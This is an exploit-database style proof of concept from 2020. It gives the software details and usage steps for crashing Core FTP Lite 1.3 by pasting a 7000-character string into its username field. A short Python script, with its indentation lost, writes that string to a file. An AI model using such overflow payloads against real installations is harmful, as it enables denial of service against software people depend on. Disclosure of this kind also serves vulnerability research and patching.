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# Exploit Title : Core FTP Lite 1.3 - Denial of Service (PoC)  
# Exploit Author: Berat Isler  
# Date: 2020-02-20  
# Vendor Homepage: http://www.coreftp.com/  
# Software Link Download:http://tr.oldversion.com/windows/core-ftp-le-1-3cbuild1437  
# Version: Core FTP 1.3cBuild1437  
# Tested on : Windows 7 32-bit  
  
# First step , Run exploit script, it will generate a new file with the name "mi.txt"  
# Then start Core FTP application and find the "username" textbox.  
# After that pate the content of "mi.txt" in to the "username" field like this --> "AAAAAAAAA"  
# Don't need to click anything because application is already crash.  
  
This is the code :  
  
  
#!/usr/bin/python  
  
b0f = "A" * 7000  
payload = b0f  
try:  
f=open("mi.txt","w")  
print "[+] Creating %s bytes payload generated .. .. .." %len(payload)  
f.write(payload)  
f.close()  
print "[+] File created :) "  
except:  
print "File cannot be created :(("